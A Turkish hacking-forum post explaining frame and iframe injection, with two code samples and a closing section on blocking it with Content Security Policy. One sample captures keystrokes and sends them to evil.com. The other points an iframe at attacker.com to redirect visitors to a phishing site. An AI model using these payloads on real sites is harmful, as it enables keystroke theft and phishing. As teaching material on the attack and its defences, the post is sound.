IFRAME Injection Nedir? / Kullanımı

Sc4ry Noyan

Yeni üye
23 Tem 2020
25
0
IFRAME Injection Nedir?

Bugünkü modern tarayıcılarda Frame Injection zafiyetinin en büyük etkisi enjekte edildiği sayfanın kendisini başka bir URL'e yönlendirmesidir.

Frame Injection zafiyetinin etkisi tarayıcıların evrimine göre zamanla değişmiştir. Örneğin önceden başka bir sitedeki frame'in adresi değiştirilebiliyorken, ilerleyen zamanlarda Keystroke Hijacking gibi yöntemlerle klavye hareketleri yakalanabiliyordu.

(Keystorke Hijacking terimini türk kaynaklarda bulamadım, yabancı kaynaklarda yaptığım araştırmalarda, çoğu forumda şu soru sorulmuş; Firefox'da Keystorke Hijacking nasıl kapatılır? Keystroke Hijacking: Tuş Vuruşu Ele Geçirme olarak Türkçe'ye çevriliyor. Bu terim ile ilgili aşağıda paylaşacağım kod da verilmiş.)

Kod:
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
********.onkeypress = function() {
keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
if (window.XMLHttpRequest)
  return new XMLHttpRequest();
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>

Şayet Iframe element'ini doğrudan payload olarak kullanabiliyorsanız muhtemelen XSS payload'u da enjekte edebilirsiniz.
(XSS: Cross site scripting, genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkân verir.)

rseHSI.png


Frame Injection'ın bir başka boyutu Frame Hijacking olarak geçen hedef sitedeki iframe elemanının yalnızca "src" attribute'ünü (Attribute: Nitelik anlamına gelmekte. Bilgi işlemde, öznitelik bir nesnenin, öğenin veya dosyanın bir özelliğini tanımlayan bir belirtimdir.) kontrol edebileceğiniz kısıtlı hareket alanıdır. Bu yöntemde " <, >, " gibi kara listeye alınması muhtemel karakterlere ihtiyaç duymadan sadece URL enjekte ederek sonuca ulaşabilirsiniz.

Kod:
<iframe src="YOUR_ATTACK_PAYLOAD"></iframe>
YOUR_ATTACK_PAYLOAD= http://www.attacker.com/maliciousscript.html
maliciousscript.html
           <script>
top.********.href="http://www.attackerphishingsite.com";
           </script>

(Bu olay okuduğum kaynaklarda, Chrome 64 ile işe yaramadığını yazmışlar.)

Frame Injection ile ilgili öğrendiğim bir olay dikkatimi çok çekti. Hatta bu olay bir çok kitapta Frame Injection kategorisinde örnek gösterilebilecek kadar önemli ve ünlüydü. 2016 yılında Mustafa Hasan, United Airliens'de bu zafiyeti kullanıyor. (Olayı merak edenler için aşağıda bu olayın da içinde geçtiği yabancı kaynakları bırakıyorum.)

Kod:
https://dzone.com/articles/frame-injection-attacks
https://www.netsparker.com.tr/blog/web-guvenligi/frame-injection-i-yeniden-dusunmek/
https://books.google.com.tr/books?id=Y1v6DwAAQBAJ&pg=PA67&lpg=PA67&dq=mustafa+hasan+united+airlines&source=bl&ots=zR3Urxp2K0&sig=ACfU3U31FlyQRwIDjBuLzLiQA9qGSnqjKQ&hl=tr&sa=X&ved=2ahUKEwiz_ojJ37LuAhVHzoUKHdxLC_8Q6AEwDnoECAQQAg#v=onepage&q=mustafa%20hasan%20united%20airlines&f=false

Frame Injection Önlemek İçin Ne Yapmalıyız?

İçerik Güvenliği Politikası (CSP) başlığı, Frame Injection saldırılarını önlemenin en iyi yoludur. CSP'nin " script-src " yönergesi, XSS saldırılarını önlemek için kullanışlı bir araçtır. Benzer şekilde, CSP'ler " frame-src " veya " child-src " yönergeleri, sayfanıza yüklenecek frame'lerin kaynaklarını beyaz listeye almanızı sağlar. Ayrıca iframe'lerin yüklenmesini önelemk için onlara "none" (yok) değeri atayabilirsiniz.


KAYNAK:
Kod:
https://dzone.com/articles/frame-injection-attacks
https://www.netsparker.com.tr/blog/web-guvenligi/frame-injection-i-yeniden-dusunmek/
https://www.tech21century.com/iframe-injection-website-attack-and-tips-to-clean-the-infection/
https://books.google.com.tr/books?id=Y1v6DwAAQBAJ&pg=PA67&lpg=PA67&dq=mustafa+hasan+united+airlines&source=bl&ots=zR3Urxp2K0&sig=ACfU3U31FlyQRwIDjBuLzLiQA9qGSnqjKQ&hl=tr&sa=X&ved=2ahUKEwiz_ojJ37LuAhVHzoUKHdxLC_8Q6AEwDnoECAQQAg#v=onepage&q=mustafa%20hasan%20united%20airlines&f=false
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.